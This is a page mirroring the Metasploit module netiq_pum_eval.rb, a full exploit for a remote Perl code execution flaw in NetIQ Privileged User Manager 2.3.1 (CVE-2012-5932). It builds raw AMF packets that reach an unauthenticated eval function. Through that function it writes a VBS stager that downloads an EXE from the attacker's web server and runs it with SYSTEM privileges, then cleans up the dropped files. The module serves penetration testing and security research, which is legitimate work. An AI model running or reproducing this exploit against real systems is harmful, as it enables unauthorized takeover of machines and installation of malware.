Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/novell/netiq_pum_eval.rb
19669 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpServer
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::EXE
12
include Msf::Exploit::FileDropper
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'NetIQ Privileged User Manager 2.3.1 ldapagnt_eval() Remote Perl Code Execution',
19
'Description' => %q{
20
This module abuses a lack of authorization in the NetIQ Privileged User Manager
21
service (unifid.exe) to execute arbitrary perl code. The problem exists in the
22
ldapagnt module. The module has been tested successfully on NetIQ PUM 2.3.1 over
23
Windows 2003 SP2, which allows to execute arbitrary code with SYSTEM privileges.
24
},
25
'Author' => [
26
'rgod', # Vulnerability discovery and PoC
27
'juan vazquez' # Metasploit module
28
],
29
'License' => MSF_LICENSE,
30
'References' => [
31
[ 'CVE', '2012-5932' ],
32
[ 'OSVDB', '87334' ],
33
[ 'BID', '56539' ],
34
[ 'EDB', '22738' ]
35
],
36
'Payload' => {
37
'Space' => 2048,
38
'StackAdjustment' => -3500
39
},
40
'Platform' => 'win',
41
'Privileged' => true,
42
'Targets' => [
43
['Windows 2003 SP2 / NetIQ Privileged User Manager 2.3.1', {}],
44
],
45
'DefaultTarget' => 0,
46
'DisclosureDate' => '2012-11-15',
47
'Compat' => {
48
'Meterpreter' => {
49
'Commands' => %w[
50
stdapi_fs_delete_file
51
stdapi_sys_config_getenv
52
]
53
}
54
},
55
'Notes' => {
56
'Reliability' => UNKNOWN_RELIABILITY,
57
'Stability' => UNKNOWN_STABILITY,
58
'SideEffects' => UNKNOWN_SIDE_EFFECTS
59
}
60
)
61
)
62
63
register_options(
64
[
65
Opt::RPORT(443),
66
OptBool.new('SSL', [true, 'Use SSL', true]),
67
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60])
68
]
69
)
70
71
self.needs_cleanup = true
72
end
73
74
def check
75
data = fake_login
76
77
print_status("Sending fake login request...")
78
79
res = send_request_cgi(
80
{
81
'uri' => '/',
82
'version' => '1.1',
83
'method' => 'POST',
84
'ctype' => "application/x-amf",
85
'headers' => {
86
"x-flash-version" => "11,4,402,278"
87
},
88
'data' => data,
89
}
90
)
91
92
if res and res.body =~ /onResult/ and res.body =~ /Invalid user name or password/ and res.body =~ /2\.3\.1/
93
return Exploit::CheckCode::Appears
94
elsif res and res.body =~ /onResult/ and res.body =~ /Invalid user name or password/
95
return Exploit::CheckCode::Detected
96
end
97
98
return Exploit::CheckCode::Safe
99
end
100
101
def on_new_session(session)
102
if session.type == "meterpreter"
103
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
104
end
105
106
@dropped_files.delete_if do |file|
107
win_file = file.gsub("/", "\\\\")
108
if session.type == "meterpreter"
109
begin
110
windir = session.sys.config.getenv('WINDIR')
111
win_file = "#{windir}\\system32\\#{win_file}"
112
# Meterpreter should do this automatically as part of
113
# fs.file.rm(). Until that has been implemented, remove the
114
# read-only flag with a command.
115
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
116
session.fs.file.rm(win_file)
117
print_good("Deleted #{file}")
118
true
119
rescue ::Rex::Post::Meterpreter::RequestError
120
false
121
end
122
123
end
124
end
125
end
126
127
# Handle incoming requests from the target
128
def on_request_uri(cli, request)
129
vprint_status("on_request_uri called")
130
131
if (not @exe_data)
132
print_error("A request came in, but the EXE archive wasn't ready yet!")
133
return
134
end
135
136
print_good("Sending the EXE payload to the target...")
137
send_response(cli, @exe_data)
138
@exe_sent = true
139
end
140
141
def lookup_lhost()
142
# Get the source address
143
if datastore['SRVHOST'] == '0.0.0.0'
144
Rex::Socket.source_address('50.50.50.50')
145
else
146
datastore['SRVHOST']
147
end
148
end
149
150
def fake_login
151
data = "\x00\x00\x00\x00\x00\x01\x00\x15\x53\x50\x46\x2e\x55\x74" # ..........SPF.Ut
152
data << "\x69\x6c\x2e\x63\x61\x6c\x6c\x4d\x6f\x64\x75\x6c\x65\x45\x78\x00" # il.callModuleEx.
153
data << "\x02\x2f\x34\x00\x00\x00\x64\x0a\x00\x00\x00\x01\x03\x00\x03\x70" # ./4...d........p
154
data << "\x6b\x74\x03\x00\x0b\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x73" # kt...Credentials
155
data << "\x03\x00\x04\x6e\x61\x6d\x65\x02\x00\x04\x74\x65\x73\x74\x00\x06" # ...name...test..
156
data << "\x70\x61\x73\x73\x77\x64\x02\x00\x04\x74\x65\x73\x74\x00\x00\x09" # passwd...test...
157
data << "\x00\x06\x6d\x65\x74\x68\x6f\x64\x02\x00\x05\x6c\x6f\x67\x69\x6e" # ..method...login
158
data << "\x00\x06\x6d\x6f\x64\x75\x6c\x65\x02\x00\x04\x61\x75\x74\x68\x00" # ..module...auth.
159
data << "\x03\x75\x69\x64\x06\x00\x00\x09\x00\x00\x09"; # .uid.......
160
return data
161
end
162
163
def exploit
164
data = fake_login
165
166
print_status("Sending fake login request...")
167
res = send_request_cgi(
168
{
169
'uri' => '/',
170
'version' => '1.1',
171
'method' => 'POST',
172
'ctype' => "application/x-amf",
173
'headers' => {
174
"x-flash-version" => "11,4,402,278"
175
},
176
'data' => data,
177
}
178
)
179
180
if not res or res.code != 200 or res.body !~ /svc(.+)/
181
fail_with(Failure::Unknown, 'Fake Login failed, svc not identified')
182
end
183
184
svc = $1
185
svc_length = svc[1, 2].unpack("n")[0]
186
svc_name = svc[3, svc_length]
187
vprint_status("SVC Found: #{svc_name}")
188
189
print_status("Generating the EXE Payload...")
190
@exe_data = generate_payload_exe
191
exename = Rex::Text.rand_text_alpha(1 + rand(2))
192
193
print_status("Setting up the Web Service...")
194
datastore['SSL'] = false
195
resource_uri = '/' + exename + '.exe'
196
service_url = "http://#{lookup_lhost}:#{datastore['SRVPORT']}#{resource_uri}"
197
print_status("Starting up our web service on #{service_url} ...")
198
start_service({
199
'Uri' => {
200
'Proc' => Proc.new { |cli, req|
201
on_request_uri(cli, req)
202
},
203
'Path' => resource_uri
204
}
205
})
206
datastore['SSL'] = true
207
208
# http://scriptjunkie1.wordpress.com/2010/09/27/command-stagers-in-windows/
209
vbs_stage = Rex::Text.rand_text_alpha(3 + rand(5))
210
code = "system(\"echo Set F=CreateObject(\\\"Microsoft.XMLHTTP\\\") >%WINDIR%/system32/#{vbs_stage}.vbs\");"
211
code << "system(\"echo F.Open \\\"GET\\\",\\\"#{service_url}\\\",False >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
212
code << "system(\"echo F.Send >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
213
code << "system(\"echo Set IA=CreateObject(\\\"ADODB.Stream\\\") >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
214
code << "system(\"echo IA.Type=1 >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
215
code << "system(\"echo IA.Open >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
216
code << "system(\"echo IA.Write F.responseBody >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
217
code << "system(\"echo IA.SaveToFile \\\"%WINDIR%\\system32\\#{exename}.exe\\\",2 >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
218
code << "system(\"echo CreateObject(\\\"WScript.Shell\\\").Run \\\"%WINDIR%\\system32\\#{exename}.exe\\\" >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
219
code << "system(\"#{vbs_stage}.vbs\");"
220
register_file_for_cleanup("#{vbs_stage}.vbs")
221
register_file_for_cleanup("#{exename}.exe")
222
identity = ""
223
224
data = "\x00\x00\x00\x00\x00\x01"
225
data << "\x00\x14"
226
data << "SPF.Util.callModuleA"
227
data << "\x00\x00"
228
data << "\x00"
229
data << "\x00\x02"
230
data << "\x0a\x0a"
231
data << "\x00\x00\x00\x01\x03"
232
data << "\x00\x03"
233
data << "pkt"
234
data << "\x03"
235
data << "\x00\x06"
236
data << "method"
237
data << "\x02"
238
data << "\x00\x04"
239
data << "eval"
240
data << "\x00\x06"
241
data << "module"
242
data << "\x02"
243
data << "\x00\x08"
244
data << "ldapagnt"
245
data << "\x00\x04"
246
data << "Eval"
247
data << "\x03"
248
data << "\x00\x07"
249
data << "content"
250
data << "\x02"
251
data << [code.length + 4].pack("n")
252
data << code
253
data << "\x0a\x0a1;\x0a\x0a1;"
254
data << "\x00\x00\x09"
255
data << "\x00\x00\x09"
256
data << "\x00\x03"
257
data << "uid"
258
data << "\x02"
259
data << [identity.length].pack("n")
260
data << identity
261
data << "\x00\x00\x09"
262
data << "\x00\x08"
263
data << "svc_name"
264
data << "\x02"
265
data << [svc_name.length].pack("n")
266
data << svc_name
267
data << "\x00\x00\x09"
268
269
print_status("Sending the eval code request...")
270
271
res = send_request_cgi(
272
{
273
'uri' => '/',
274
'version' => '1.1',
275
'method' => 'POST',
276
'ctype' => "application/x-amf",
277
'headers' => {
278
"x-flash-version" => "11,4,402,278"
279
},
280
'data' => data,
281
}
282
)
283
284
if res
285
fail_with(Failure::Unknown, "There was an unexpected response to the code eval request")
286
else
287
print_good("There wasn't a response, but this is the expected behavior...")
288
end
289
290
# wait for the data to be sent
291
print_status("Waiting for the victim to request the EXE payload...")
292
293
waited = 0
294
while (not @exe_sent)
295
select(nil, nil, nil, 1)
296
waited += 1
297
if (waited > datastore['HTTP_DELAY'])
298
fail_with(Failure::Unknown, "Target didn't request request the EXE payload -- Maybe it cant connect back to us?")
299
end
300
end
301
302
print_status("Giving time to the payload to execute...")
303
select(nil, nil, nil, 20)
304
end
305
end
306
307